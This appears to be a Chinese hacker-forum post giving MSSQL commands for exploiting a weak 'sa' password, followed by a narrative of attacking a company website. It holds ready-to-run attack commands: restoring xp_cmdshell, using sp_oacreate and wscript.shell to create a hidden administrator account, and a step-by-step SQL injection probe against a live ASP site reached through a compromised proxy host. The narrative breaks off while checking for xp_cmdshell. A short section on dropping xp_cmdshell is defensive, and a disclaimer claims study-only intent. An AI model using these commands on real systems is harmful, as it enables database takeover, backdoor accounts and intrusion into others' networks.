sa弱口令相关命令
下面是红客(QQ40372833)总结的一些关于sa弱口令相关命令.
注:具体问题具体分析,以上方法仅供参考,不一定有效,相关原理知识请自行查找。重要提示!以上提供的方法仅供学习研究!请大家不要进行任何破坏国内主机的违法行为!否则一切后果自负!转载请保留此信息。
一.更改sa口令方法:
用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'
(提示:慎用!)
二.简单修补sa弱口令.
方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO
然后按F5键命令执行完毕
方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell'
然后按F5键命令执行完毕
三.常见情况恢复执行xp_cmdshell.
1未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystem32cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystem32cmd.exe /c net localgroup administrators 新用户 /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add'
SQL查询分析器休闲庄分离版本
http://soft.7747.net/ware/774710/sqlquery.zip
渗透知名公司内部网络
代理上肉鸡,整体扫描了一下他的网站,只开了80端口,没扫描出来什么有用的信息,就算有也被外层设备把信息过滤掉了,网站很大整体是静态的网页,搜索一下,查看源文件->查找->.asp。很快找到一个类似http://www.*****.com/news/show1.asp NewsId=125272页面,在后面加上and1=1 、and 1=2前者正常,后者反回如下错误。
Microsoft OLE DB Provider for ODBC Driver error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character sting”.
/news/show/show1.asp,行59
是IIS MSSQL ASP的站,在来提交:
http://www.*****.com/news/show1.asp NewsId=125272and 1=(select is_srvrolemember('sysadmin'))
http://www.*****.com/news/show1.asp NewsId=125272and 'sa'=(select system_user)
结果全部正常,正常是说明是当前连接的账号是以最高权限的SA运行的,看一下经典的“sp_cmdshell”扩展存储是否存在,如果存在那就是初战告捷。
http://www.*****.com/news/show1.asp NewsId=125272and 1=(select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name = 'xp_cmdshell') |